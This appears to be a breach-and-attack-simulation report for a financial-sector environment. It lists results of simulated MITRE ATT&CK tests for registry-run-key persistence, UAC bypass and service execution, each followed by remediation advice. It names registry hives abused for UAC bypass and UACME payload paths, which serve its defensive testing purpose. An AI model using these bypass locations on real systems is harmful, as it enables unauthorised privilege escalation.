Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder (T1547.001): Attacker maintains long-term access surviving reboots and credential rotations, enabling sustained espionage or pre-positioned ransomware in RBI-regulated environments.

Remediation

- 1) Monitor autorun locations: Run keys, scheduled tasks, services, WMI subscriptions.
- 2) Enable Autoruns/Sysmon monitoring with alerts on new persistence mechanisms.
- 3) Implement application allowlisting (WDAC or AppLocker) on all endpoints.
- 4) Audit and remediate all startup entries against a known-good baseline.

FAIL
T1547.001 — Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder

Persistence · High

Details

Technique executed: Directory: C:\Windows\TEMP

Threat impact

Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder (T1547.001): Attacker maintains long-term access surviving reboots and credential rotations, enabling sustained espionage or pre-positioned ransomware in RBI-regulated environments.

Remediation

- 1) Monitor autorun locations: Run keys, scheduled tasks, services, WMI subscriptions.
- 2) Enable Autoruns/Sysmon monitoring with alerts on new persistence mechanisms.
- 3) Implement application allowlisting (WDAC or AppLocker) on all endpoints.
- 4) Audit and remediate all startup entries against a known-good baseline.

FAIL
T1547.001 — Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder

Persistence · High

Details

Technique executed: New-Item : An item with the specified name C:\Windows\TEMP\atomictest\ already exists.

Threat impact

Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder (T1547.001): Attacker maintains long-term access surviving reboots and credential rotations, enabling sustained espionage or pre-positioned ransomware in RBI-regulated environments.

Remediation

- 1) Monitor autorun locations: Run keys, scheduled tasks, services, WMI subscriptions.
- 2) Enable Autoruns/Sysmon monitoring with alerts on new persistence mechanisms.
- 3) Implement application allowlisting (WDAC or AppLocker) on all endpoints.
- 4) Audit and remediate all startup entries against a known-good baseline.

FAIL

T1547.001 — Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder

Persistence · High

Details	Technique executed: Hive: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
Threat impact	Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder (T1547.001): Attacker maintains long-term access surviving reboots and credential rotations, enabling sustained espionage or pre-positioned ransomware in RBI-regulated environments.
Remediation	1) Monitor autorun locations: Run keys, scheduled tasks, services, WMI subscriptions. 2) Enable Autoruns/Sysmon monitoring with alerts on new persistence mechanisms. 3) Implement application allowlisting (WDAC or AppLocker) on all endpoints. 4) Audit and remediate all startup entries against a known-good baseline.

FAIL

T1547.001 — Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder

Persistence · High

Details	Technique executed: Hive: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
Threat impact	Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder (T1547.001): Attacker maintains long-term access surviving reboots and credential rotations, enabling sustained espionage or pre-positioned ransomware in RBI-regulated environments.
Remediation	1) Monitor autorun locations: Run keys, scheduled tasks, services, WMI subscriptions. 2) Enable Autoruns/Sysmon monitoring with alerts on new persistence mechanisms. 3) Implement application allowlisting (WDAC or AppLocker) on all endpoints. 4) Audit and remediate all startup entries against a known-good baseline.

FAIL

T1547.001 — Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder

Persistence · High

Details	Technique executed: technique ran to completion
Threat impact	Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder (T1547.001): Attacker maintains long-term access surviving reboots and credential rotations, enabling sustained espionage or pre-positioned ransomware in RBI-regulated environments.
Remediation	1) Monitor autorun locations: Run keys, scheduled tasks, services, WMI subscriptions. 2) Enable Autoruns/Sysmon monitoring with alerts on new persistence mechanisms. 3) Implement application allowlisting (WDAC or AppLocker) on all endpoints. 4) Audit and remediate all startup entries against a known-good baseline.

FAIL

T1547.001 — Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder

Persistence · High

Details	Technique executed: technique ran to completion
Threat impact	Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder (T1547.001): Attacker maintains long-term access surviving reboots and credential rotations, enabling sustained espionage or pre-positioned ransomware in RBI-regulated environments.
Remediation	1) Monitor autorun locations: Run keys, scheduled tasks, services, WMI subscriptions. 2) Enable Autoruns/Sysmon monitoring with alerts on new persistence mechanisms. 3) Implement application allowlisting (WDAC or AppLocker) on all endpoints. 4) Audit and remediate all startup entries against a known-good baseline.

ERROR

T1547.001 — Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder

Persistence · High

Details	Execution error (malformed atomic content): ERROR: Invalid syntax.
Threat impact	Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder (T1547.001): Attacker maintains long-term access surviving reboots and credential rotations, enabling sustained espionage or pre-positioned ransomware in RBI-regulated environments.
Remediation	1) Monitor autorun locations: Run keys, scheduled tasks, services, WMI subscriptions. 2) Enable Autoruns/Sysmon monitoring with alerts on new persistence mechanisms. 3) Implement application allowlisting (WDAC or AppLocker) on all endpoints. 4) Audit and remediate all startup entries against a known-good baseline.

ERROR

T1547.001 — Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder

Persistence · High

Details	Execution error (malformed atomic content): ERROR: Invalid syntax.
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Audspect Breach & Attack Simulation	Threat Impact	Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder (T1547.001): Attacker maintains long-term access surviving reboots and credential rotations, enabling sustained espionage or pre-positioned ransomware in RBI-regulated environments.
	Remediation	1) Monitor autorun locations: Run keys, scheduled tasks, services, WMI subscriptions. 2) Enable Autoruns/Sysmon monitoring with alerts on new persistence mechanisms. 3) Implement application allowlisting (WDAC or AppLocker) on all endpoints. 4) Audit and remediate all startup entries against a known-good baseline.
ERROR T1547.001 — Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder Persistence · High		
	Details	Execution error (malformed atomic content): ERROR: Invalid syntax.
	Threat impact	Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder (T1547.001): Attacker maintains long-term access surviving reboots and credential rotations, enabling sustained espionage or pre-positioned ransomware in RBI-regulated environments.
	Remediation	1) Monitor autorun locations: Run keys, scheduled tasks, services, WMI subscriptions. 2) Enable Autoruns/Sysmon monitoring with alerts on new persistence mechanisms. 3) Implement application allowlisting (WDAC or AppLocker) on all endpoints. 4) Audit and remediate all startup entries against a known-good baseline.
FAIL T1548.002 — Abuse Elevation Control Mechanism: Bypass User Account Control Privilege Escalation · Critical		
	Details	Technique executed: The operation completed successfully.
	Threat impact	Abuse Elevation Control Mechanism: Bypass User Account Control (T1548.002): Attacker elevates to SYSTEM or Domain Admin enabling unrestricted access to all local and domain resources including AD, GPO, and privileged service accounts.
	Remediation	1) Enforce least-privilege; audit and remove unnecessary local admin memberships. 2) Enable UAC at highest level; require elevation approval for all admin actions. 3) Patch known privilege escalation CVEs — cross-reference CISA KEV catalogue. 4) Monitor for token manipulation events (Windows Event IDs 4672, 4673, 4674).
FAIL T1548.002 — Abuse Elevation Control Mechanism: Bypass User Account Control Privilege Escalation · Critical		
	Details	Technique executed: Hive: HKEY_CURRENT_USER\software\classes\mscfile\shell\open
	Threat impact	Abuse Elevation Control Mechanism: Bypass User Account Control (T1548.002): Attacker elevates to SYSTEM or Domain Admin enabling unrestricted access to all local and domain resources including AD, GPO, and privileged service accounts.
	Remediation	1) Enforce least-privilege; audit and remove unnecessary local admin memberships. 2) Enable UAC at highest level; require elevation approval for all admin actions. 3) Patch known privilege escalation CVEs — cross-reference CISA KEV catalogue. 4) Monitor for token manipulation events (Windows Event IDs 4672, 4673, 4674).
PASS T1548.002 — Abuse Elevation Control Mechanism: Bypass User Account Control Privilege Escalation · Critical		
	Details	Security control blocked the technique (access denied): fork/exec C:\Windows\system32\cmd.exe: Access is denied.
	Threat impact	Abuse Elevation Control Mechanism: Bypass User Account Control (T1548.002): Attacker elevates to SYSTEM or Domain Admin enabling unrestricted access to all local and domain resources including AD, GPO, and privileged service accounts.
	Remediation	Control validated: Abuse Elevation Control Mechanism: Bypass User Account Control (T1548.002) was blocked. Maintain current security posture and continue monitoring.
FAIL T1548.002 — Abuse Elevation Control Mechanism: Bypass User Account Control Privilege Escalation · Critical		
	Details	Technique executed: Hive: HKEY_CURRENT_USER\software\classes\ms-settings\shell\open
	Threat impact	Abuse Elevation Control Mechanism: Bypass User Account Control (T1548.002): Attacker elevates to SYSTEM or Domain Admin enabling unrestricted access to all local and domain resources including AD, GPO, and privileged service accounts.
	Remediation	1) Enforce least-privilege; audit and remove unnecessary local admin memberships. 2) Enable UAC at highest level; require elevation approval for all admin actions. 3) Patch known privilege escalation CVEs — cross-reference CISA KEV catalogue. 4) Monitor for token manipulation events (Windows Event IDs 4672, 4673, 4674).

FAIL

T1548.002 — Abuse Elevation Control Mechanism: Bypass User Account Control

Privilege Escalation · Critical

Details	Technique executed: Hive: HKEY_CURRENT_USER\software\classes\ms-settings\shell\open
Threat impact	Abuse Elevation Control Mechanism: Bypass User Account Control (T1548.002): Attacker elevates to SYSTEM or Domain Admin enabling unrestricted access to all local and domain resources including AD, GPO, and privileged service accounts.
Remediation	1) Enforce least-privilege; audit and remove unnecessary local admin memberships. 2) Enable UAC at highest level; require elevation approval for all admin actions. 3) Patch known privilege escalation CVEs — cross-reference CISA KEV catalogue. 4) Monitor for token manipulation events (Windows Event IDs 4672, 4673, 4674).

ERROR

T1548.002 — Abuse Elevation Control Mechanism: Bypass User Account Control

Privilege Escalation · Critical

Details	Execution error (exit 1): The specified path is invalid.
Threat impact	Abuse Elevation Control Mechanism: Bypass User Account Control (T1548.002): Attacker elevates to SYSTEM or Domain Admin enabling unrestricted access to all local and domain resources including AD, GPO, and privileged service accounts.
Remediation	1) Enforce least-privilege; audit and remove unnecessary local admin memberships. 2) Enable UAC at highest level; require elevation approval for all admin actions. 3) Patch known privilege escalation CVEs — cross-reference CISA KEV catalogue. 4) Monitor for token manipulation events (Windows Event IDs 4672, 4673, 4674).

ERROR

T1548.002 — Abuse Elevation Control Mechanism: Bypass User Account Control

Privilege Escalation · Critical

Details	Execution error (missing prerequisite): Hive: HKEY_CURRENT_USER\Software\Classes\Folder\shell\open
Threat impact	Abuse Elevation Control Mechanism: Bypass User Account Control (T1548.002): Attacker elevates to SYSTEM or Domain Admin enabling unrestricted access to all local and domain resources including AD, GPO, and privileged service accounts.
Remediation	1) Enforce least-privilege; audit and remove unnecessary local admin memberships. 2) Enable UAC at highest level; require elevation approval for all admin actions. 3) Patch known privilege escalation CVEs — cross-reference CISA KEV catalogue. 4) Monitor for token manipulation events (Windows Event IDs 4672, 4673, 4674).

FAIL

T1548.002 — Abuse Elevation Control Mechanism: Bypass User Account Control

Privilege Escalation · Critical

Details	Technique executed: The operation completed successfully.
Threat impact	Abuse Elevation Control Mechanism: Bypass User Account Control (T1548.002): Attacker elevates to SYSTEM or Domain Admin enabling unrestricted access to all local and domain resources including AD, GPO, and privileged service accounts.
Remediation	1) Enforce least-privilege; audit and remove unnecessary local admin memberships. 2) Enable UAC at highest level; require elevation approval for all admin actions. 3) Patch known privilege escalation CVEs — cross-reference CISA KEV catalogue. 4) Monitor for token manipulation events (Windows Event IDs 4672, 4673, 4674).

ERROR

T1548.002 — Abuse Elevation Control Mechanism: Bypass User Account Control

Privilege Escalation · Critical

Details	Execution error (required binary unavailable): "\"C:\Windows\TEMP\bas-18b7b40d9932604c-228056807\..\ExternalPayloads\uacme\23 Akagi64.exe\"" is not recognized as an internal or external command,
Threat impact	Abuse Elevation Control Mechanism: Bypass User Account Control (T1548.002): Attacker elevates to SYSTEM or Domain Admin enabling unrestricted access to all local and domain resources including AD, GPO, and privileged service accounts.
Remediation	1) Enforce least-privilege; audit and remove unnecessary local admin memberships. 2) Enable UAC at highest level; require elevation approval for all admin actions. 3) Patch known privilege escalation CVEs — cross-reference CISA KEV catalogue. 4) Monitor for token manipulation events (Windows Event IDs 4672, 4673, 4674).

ERROR

T1548.002 — Abuse Elevation Control Mechanism: Bypass User Account Control

Privilege Escalation · Critical

Details	Execution error (required binary unavailable): "\"C:\Windows\TEMP\bas-18b7b40d9932604c-228056807\..\ExternalPayloads\uacme\31 Akagi64.exe\"" is
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Threat impact	not recognized as an internal or external command, Abuse Elevation Control Mechanism: Bypass User Account Control (T1548.002): Attacker elevates to SYSTEM or Domain Admin enabling unrestricted access to all local and domain resources including AD, GPO, and privileged service accounts.
Remediation	1) Enforce least-privilege; audit and remove unnecessary local admin memberships. 2) Enable UAC at highest level; require elevation approval for all admin actions. 3) Patch known privilege escalation CVEs — cross-reference CISA KEV catalogue. 4) Monitor for token manipulation events (Windows Event IDs 4672, 4673, 4674).

ERROR

T1548.002 — Abuse Elevation Control Mechanism: Bypass User Account Control

Privilege Escalation · Critical

Details	Execution error (required binary unavailable): "\"C:\Windows\TEMP\bas-18b7b40d9932604c-228056807\..\ExternalPayloads\luacme\33 Akagi64.exe\"" is not recognized as an internal or external command,
Threat impact	Abuse Elevation Control Mechanism: Bypass User Account Control (T1548.002): Attacker elevates to SYSTEM or Domain Admin enabling unrestricted access to all local and domain resources including AD, GPO, and privileged service accounts.
Remediation	1) Enforce least-privilege; audit and remove unnecessary local admin memberships. 2) Enable UAC at highest level; require elevation approval for all admin actions. 3) Patch known privilege escalation CVEs — cross-reference CISA KEV catalogue. 4) Monitor for token manipulation events (Windows Event IDs 4672, 4673, 4674).

ERROR

T1548.002 — Abuse Elevation Control Mechanism: Bypass User Account Control

Privilege Escalation · Critical

Details	Execution error (required binary unavailable): "\"C:\Windows\TEMP\bas-18b7b40d9932604c-228056807\..\ExternalPayloads\luacme\34 Akagi64.exe\"" is not recognized as an internal or external command,
Threat impact	Abuse Elevation Control Mechanism: Bypass User Account Control (T1548.002): Attacker elevates to SYSTEM or Domain Admin enabling unrestricted access to all local and domain resources including AD, GPO, and privileged service accounts.
Remediation	1) Enforce least-privilege; audit and remove unnecessary local admin memberships. 2) Enable UAC at highest level; require elevation approval for all admin actions. 3) Patch known privilege escalation CVEs — cross-reference CISA KEV catalogue. 4) Monitor for token manipulation events (Windows Event IDs 4672, 4673, 4674).

ERROR

T1548.002 — Abuse Elevation Control Mechanism: Bypass User Account Control

Privilege Escalation · Critical

Details	Execution error (required binary unavailable): "\"C:\Windows\TEMP\bas-18b7b40d9932604c-228056807\..\ExternalPayloads\luacme\39 Akagi64.exe\"" is not recognized as an internal or external command,
Threat impact	Abuse Elevation Control Mechanism: Bypass User Account Control (T1548.002): Attacker elevates to SYSTEM or Domain Admin enabling unrestricted access to all local and domain resources including AD, GPO, and privileged service accounts.
Remediation	1) Enforce least-privilege; audit and remove unnecessary local admin memberships. 2) Enable UAC at highest level; require elevation approval for all admin actions. 3) Patch known privilege escalation CVEs — cross-reference CISA KEV catalogue. 4) Monitor for token manipulation events (Windows Event IDs 4672, 4673, 4674).

ERROR

T1548.002 — Abuse Elevation Control Mechanism: Bypass User Account Control

Privilege Escalation · Critical

Details	Execution error (required binary unavailable): "\"C:\Windows\TEMP\bas-18b7b40d9932604c-228056807\..\ExternalPayloads\luacme\56 Akagi64.exe\"" is not recognized as an internal or external command,
Threat impact	Abuse Elevation Control Mechanism: Bypass User Account Control (T1548.002): Attacker elevates to SYSTEM or Domain Admin enabling unrestricted access to all local and domain resources including AD, GPO, and privileged service accounts.
Remediation	1) Enforce least-privilege; audit and remove unnecessary local admin memberships. 2) Enable UAC at highest level; require elevation approval for all admin actions. 3) Patch known privilege escalation CVEs — cross-reference CISA KEV catalogue. 4) Monitor for token manipulation events (Windows Event IDs 4672, 4673, 4674).

ERROR

T1548.002 — Abuse Elevation Control Mechanism: Bypass User Account Control

Privilege Escalation · Critical

Details

Execution error (required binary unavailable):

"\"C:\\Windows\\TEMP\\bas-18b7b40d9932604c-228056807\\.\\ExternalPayloads\\uacme\\59 Akagi64.exe\\\" is not recognized as an internal or external command,

Threat impact

Abuse Elevation Control Mechanism: Bypass User Account Control (T1548.002): Attacker elevates to SYSTEM or Domain Admin enabling unrestricted access to all local and domain resources including AD, GPO, and privileged service accounts.

Remediation

- 1) Enforce least-privilege; audit and remove unnecessary local admin memberships.
- 2) Enable UAC at highest level; require elevation approval for all admin actions.
- 3) Patch known privilege escalation CVEs — cross-reference CISA KEV catalogue.
- 4) Monitor for token manipulation events (Windows Event IDs 4672, 4673, 4674).

ERROR

T1548.002 — Abuse Elevation Control Mechanism: Bypass User Account Control

Privilege Escalation · Critical

Details

Execution error (required binary unavailable):

"\"C:\\Windows\\TEMP\\bas-18b7b40d9932604c-228056807\\.\\ExternalPayloads\\uacme\\61 Akagi64.exe\\\" is not recognized as an internal or external command,

Threat impact

Abuse Elevation Control Mechanism: Bypass User Account Control (T1548.002): Attacker elevates to SYSTEM or Domain Admin enabling unrestricted access to all local and domain resources including AD, GPO, and privileged service accounts.

Remediation

- 1) Enforce least-privilege; audit and remove unnecessary local admin memberships.
- 2) Enable UAC at highest level; require elevation approval for all admin actions.
- 3) Patch known privilege escalation CVEs — cross-reference CISA KEV catalogue.
- 4) Monitor for token manipulation events (Windows Event IDs 4672, 4673, 4674).

PASS

T1548.002 — Abuse Elevation Control Mechanism: Bypass User Account Control

Privilege Escalation · Critical

Details

Security control blocked the technique (policy block): iex : At line:1 char:1

Threat impact

Abuse Elevation Control Mechanism: Bypass User Account Control (T1548.002): Attacker elevates to SYSTEM or Domain Admin enabling unrestricted access to all local and domain resources including AD, GPO, and privileged service accounts.

Remediation

Control validated: Abuse Elevation Control Mechanism: Bypass User Account Control (T1548.002) was blocked. Maintain current security posture and continue monitoring.

PASS

T1548.002 — Abuse Elevation Control Mechanism: Bypass User Account Control

Privilege Escalation · Critical

Details

Security control blocked the technique (policy block): iex : At line:1 char:1

Threat impact

Abuse Elevation Control Mechanism: Bypass User Account Control (T1548.002): Attacker elevates to SYSTEM or Domain Admin enabling unrestricted access to all local and domain resources including AD, GPO, and privileged service accounts.

Remediation

Control validated: Abuse Elevation Control Mechanism: Bypass User Account Control (T1548.002) was blocked. Maintain current security posture and continue monitoring.

PASS

T1548.002 — Abuse Elevation Control Mechanism: Bypass User Account Control

Privilege Escalation · Critical

Details

Security control blocked the technique (policy block): iex : At line:1 char:1

Threat impact

Abuse Elevation Control Mechanism: Bypass User Account Control (T1548.002): Attacker elevates to SYSTEM or Domain Admin enabling unrestricted access to all local and domain resources including AD, GPO, and privileged service accounts.

Remediation

Control validated: Abuse Elevation Control Mechanism: Bypass User Account Control (T1548.002) was blocked. Maintain current security posture and continue monitoring.

PASS

T1548.002 — Abuse Elevation Control Mechanism: Bypass User Account Control

Privilege Escalation · Critical

Details

Security control blocked the technique (policy block): iex : At line:1 char:1

Threat impact

Abuse Elevation Control Mechanism: Bypass User Account Control (T1548.002): Attacker elevates to SYSTEM or Domain Admin enabling unrestricted access to all local and domain resources including AD, GPO, and privileged service accounts.

Remediation

Control validated: Abuse Elevation Control Mechanism: Bypass User Account Control (T1548.002) was blocked. Maintain current security posture and continue monitoring.

FAIL

T1548.002 — Abuse Elevation Control Mechanism: Bypass User Account Control

Privilege Escalation · Critical

Details	Technique executed: technique ran to completion
Threat impact	Abuse Elevation Control Mechanism: Bypass User Account Control (T1548.002): Attacker elevates to SYSTEM or Domain Admin enabling unrestricted access to all local and domain resources including AD, GPO, and privileged service accounts.
Remediation	1) Enforce least-privilege; audit and remove unnecessary local admin memberships. 2) Enable UAC at highest level; require elevation approval for all admin actions. 3) Patch known privilege escalation CVEs — cross-reference CISA KEV catalogue. 4) Monitor for token manipulation events (Windows Event IDs 4672, 4673, 4674).

FAIL

T1548.002 — Abuse Elevation Control Mechanism: Bypass User Account Control

Privilege Escalation · Critical

Details	Technique executed: technique ran to completion
Threat impact	Abuse Elevation Control Mechanism: Bypass User Account Control (T1548.002): Attacker elevates to SYSTEM or Domain Admin enabling unrestricted access to all local and domain resources including AD, GPO, and privileged service accounts.
Remediation	1) Enforce least-privilege; audit and remove unnecessary local admin memberships. 2) Enable UAC at highest level; require elevation approval for all admin actions. 3) Patch known privilege escalation CVEs — cross-reference CISA KEV catalogue. 4) Monitor for token manipulation events (Windows Event IDs 4672, 4673, 4674).

FAIL

T1548.002 — Abuse Elevation Control Mechanism: Bypass User Account Control

Privilege Escalation · Critical

Details	Technique executed: technique ran to completion
Threat impact	Abuse Elevation Control Mechanism: Bypass User Account Control (T1548.002): Attacker elevates to SYSTEM or Domain Admin enabling unrestricted access to all local and domain resources including AD, GPO, and privileged service accounts.
Remediation	1) Enforce least-privilege; audit and remove unnecessary local admin memberships. 2) Enable UAC at highest level; require elevation approval for all admin actions. 3) Patch known privilege escalation CVEs — cross-reference CISA KEV catalogue. 4) Monitor for token manipulation events (Windows Event IDs 4672, 4673, 4674).

ERROR

T1548.002 — Abuse Elevation Control Mechanism: Bypass User Account Control

Privilege Escalation · Critical

Details	Execution error (malformed atomic content): ERROR: Invalid syntax.
Threat impact	Abuse Elevation Control Mechanism: Bypass User Account Control (T1548.002): Attacker elevates to SYSTEM or Domain Admin enabling unrestricted access to all local and domain resources including AD, GPO, and privileged service accounts.
Remediation	1) Enforce least-privilege; audit and remove unnecessary local admin memberships. 2) Enable UAC at highest level; require elevation approval for all admin actions. 3) Patch known privilege escalation CVEs — cross-reference CISA KEV catalogue. 4) Monitor for token manipulation events (Windows Event IDs 4672, 4673, 4674).

FAIL

T1548.002 — Abuse Elevation Control Mechanism: Bypass User Account Control

Privilege Escalation · Critical

Details	Technique executed: The operation completed successfully.
Threat impact	Abuse Elevation Control Mechanism: Bypass User Account Control (T1548.002): Attacker elevates to SYSTEM or Domain Admin enabling unrestricted access to all local and domain resources including AD, GPO, and privileged service accounts.
Remediation	1) Enforce least-privilege; audit and remove unnecessary local admin memberships. 2) Enable UAC at highest level; require elevation approval for all admin actions. 3) Patch known privilege escalation CVEs — cross-reference CISA KEV catalogue. 4) Monitor for token manipulation events (Windows Event IDs 4672, 4673, 4674).

FAIL

T1548.002 — Abuse Elevation Control Mechanism: Bypass User Account Control

Privilege Escalation · Critical

Details	Technique executed: The operation completed successfully.
Threat impact	Abuse Elevation Control Mechanism: Bypass User Account Control (T1548.002): Attacker elevates to SYSTEM or Domain Admin enabling unrestricted access to all local and domain resources including AD, GPO, and privileged service accounts.

- 1) Enforce least-privilege; audit and remove unnecessary local admin memberships.
- 2) Enable UAC at highest level; require elevation approval for all admin actions.
- 3) Patch known privilege escalation CVEs — cross-reference CISA KEV catalogue.
- 4) Monitor for token manipulation events (Windows Event IDs 4672, 4673, 4674).

ERROR

T1569.002 — T1569.002 - Test 1: Execute a Command as a Service

Execution · High

Details	Execution error (malformed atomic content): DESCRIPTION:
Threat impact	T1569.002 - Test 1: Execute a Command as a Service (T1569.002): Attacker executes arbitrary code on the endpoint enabling full control of the compromised system and all data accessible from it.
Remediation	1) Enable PowerShell Script Block Logging and Constrained Language Mode. 2) Implement application allowlisting (AppLocker/WDAC) to restrict code execution. 3) Enable ASR rules targeting script-based and macro-based execution. 4) Monitor for anomalous parent-child process relationships in EDR.

ERROR

T1569.002 — T1569.002 - Test 6: Snake Malware Service Create

Execution · High

Details	Execution error (malformed atomic content): DESCRIPTION:
Threat impact	T1569.002 - Test 6: Snake Malware Service Create (T1569.002): Attacker executes arbitrary code on the endpoint enabling full control of the compromised system and all data accessible from it.
Remediation	1) Enable PowerShell Script Block Logging and Constrained Language Mode. 2) Implement application allowlisting (AppLocker/WDAC) to restrict code execution. 3) Enable ASR rules targeting script-based and macro-based execution. 4) Monitor for anomalous parent-child process relationships in EDR.

FAIL

T1569.002 — T1569.002 - Test 7: Modifying ACL of Service Control Manager via SDET

Execution · High

Details	Technique executed: [SC] SetServiceObjectSecurity SUCCESS
Threat impact	T1569.002 - Test 7: Modifying ACL of Service Control Manager via SDET (T1569.002): Attacker executes arbitrary code on the endpoint enabling full control of the compromised system and all data accessible from it.
Remediation	1) Enable PowerShell Script Block Logging and Constrained Language Mode. 2) Implement application allowlisting (AppLocker/WDAC) to restrict code execution. 3) Enable ASR rules targeting script-based and macro-based execution. 4) Monitor for anomalous parent-child process relationships in EDR.

ERROR

T1569.002 — T1569.002 - Test 8: Pipe Creation - PsExec Tool Execution From Suspicious Locations

Execution · High

Details	Execution error (required binary unavailable): cd : Cannot find path 'C:\Users\Public\Temp\' because it does not exist.
Threat impact	T1569.002 - Test 8: Pipe Creation - PsExec Tool Execution From Suspicious Locations (T1569.002): Attacker executes arbitrary code on the endpoint enabling full control of the compromised system and all data accessible from it.
Remediation	1) Enable PowerShell Script Block Logging and Constrained Language Mode. 2) Implement application allowlisting (AppLocker/WDAC) to restrict code execution. 3) Enable ASR rules targeting script-based and macro-based execution. 4) Monitor for anomalous parent-child process relationships in EDR.

7. Prioritised Recommendations

- 1 Overall prevention score is critically low. Prioritise endpoint hardening and EDR deployment across all assets.
- 2 Critical tactic 'privilege-escalation' has 11 failing technique(s). Address immediately — this tactic has the highest attacker value in BFSI environments.
- 3 Critical tactic 'credential-access' has 7 failing technique(s). Address immediately — this tactic has the highest attacker value in BFSI environments.
- 4 Kill-chain amplifier is 2.5× — an attacker can traverse multiple consecutive kill-chain phases unimpeded. Implement network segmentation and lateral movement controls.

8. Appendix — Metric Definitions

PASS	A security control prevented or blocked the simulated technique. More passes is better.
FAIL	The technique executed successfully without being stopped — a finding requiring attention.
ERROR	The test could not execute correctly (malformed content, timeout, missing prerequisite, scheduler contention). A BAS execution problem, not a security outcome — excluded from scoring.
SKIPPED	The technique was deliberately not run (e.g. external payload not shipped) and was excluded from scoring.
Prevention	Severity-weighted percentage of techniques that were prevented. Higher is better.
Exposure	Tactic-weighted failure rate, amplified by consecutive kill-chain failures. Lower is better.
Tactic Coverage	Breadth of testing: how many of the 14 MITRE ATT&CK Enterprise tactics this run exercised.
Defense Rate	Share of tested tactics in which every technique was blocked (zero failures).
Kill-chain amplifier	Multiplier (1.0–2.5×) reflecting consecutive unprevented kill-chain phases.
Risk classification	Overall posture band derived from the amplified exposure score.